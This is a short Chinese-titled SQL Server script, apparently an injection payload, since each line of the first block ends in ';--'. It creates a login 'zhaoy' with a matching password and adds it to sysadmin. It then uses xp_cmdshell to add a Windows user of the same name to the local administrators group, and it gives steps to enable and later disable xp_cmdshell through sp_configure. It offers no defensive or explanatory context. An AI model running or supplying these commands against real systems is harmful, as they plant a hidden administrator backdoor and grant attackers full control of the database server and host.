数据库执行脚本

exec master.dbo.sp_addlogin zhaoy;--
exec master.dbo.sp_password null,zhaoy,zhaoy;--
exec master.dbo.sp_addsrvrolemember zhaoy,sysadmin;--
exec master.dbo.xp_cmdshell 'net user zhaoy zhaoy /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators zhaoy /add';--

如果上述不能执行的话
先用 --enabble xp_cmdshell  
EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'xp_cmdshell', N'1'  
go  
RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
go  
-- Unenable xp_cmdshell  
EXEC sys.sp_configure N'show advanced options', N'1'  RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'xp_cmdshell', N'0'  
go  
RECONFIGURE WITH OVERRIDE  
go  
EXEC sys.sp_configure N'show advanced options', N'0'  RECONFIGURE WITH OVERRIDE  
go 
这个修改master的系统表